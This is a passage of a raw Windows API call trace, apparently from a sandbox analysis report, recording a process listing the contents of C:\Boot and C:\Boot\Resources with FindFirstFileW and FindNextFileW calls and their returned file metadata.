ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789aa98c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0124.238] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789aa98c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789aa98c, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0124.238] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789aa98c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789aa98c, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0124.238] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789aa98c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789aa98c, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0124.238] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0124.238] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0124.239] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0124.239] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0124.239] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0124.239] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0124.239] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0124.239] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78ab5a49, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0124.240] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0124.240] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0124.240] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0124.240] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0124.240] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0124.240] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0124.240] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0124.241] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0124.241] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0124.241] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xc2960, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0124.241] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0124.241] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0124.241] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0124.241] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0124.242] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0124.242] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0124.242] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78b27f82, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0124.242] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0124.242] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0124.242] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0124.243] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0124.243] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0124.243] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0124.243] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0124.243] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0124.243] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0124.244] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a8f7b9, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a8f7b9, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0124.244] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a8f7b9, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78ab5a49, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0124.244] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78ab5a49, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78ab5a49, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0124.244] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0124.244] FindClose (in: hFindFile=0x1b3e67f0 | out: hFindFile=0x1b3e67f0) returned 1 [0124.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10de70) returned 1 [0124.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10de30) returned 1 [0124.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10df40) returned 1 [0124.280] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources", nBufferLength=0x105, lpBuffer=0x1b10da20, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources", lpFilePart=0x0) returned 0x11 [0124.280] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*" (normalized: "c:\\boot\\resources\\*"), lpFindFileData=0x1b10dc50 | out: lpFindFileData=0x1b10dc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78b27f82, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b3e6b50 [0124.283] FindNextFileW (in: hFindFile=0x1b3e6b50, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78b27f82, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.283] FindNextFileW (in: hFindFile=0x1b3e6b50, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b27f82, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0124.283] FindNextFileW (in: hFindFile=0x1b3e6b50, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78b27f82, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0124.283] FindNextFileW (in: hFindFile=0x1b3e6b50, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, 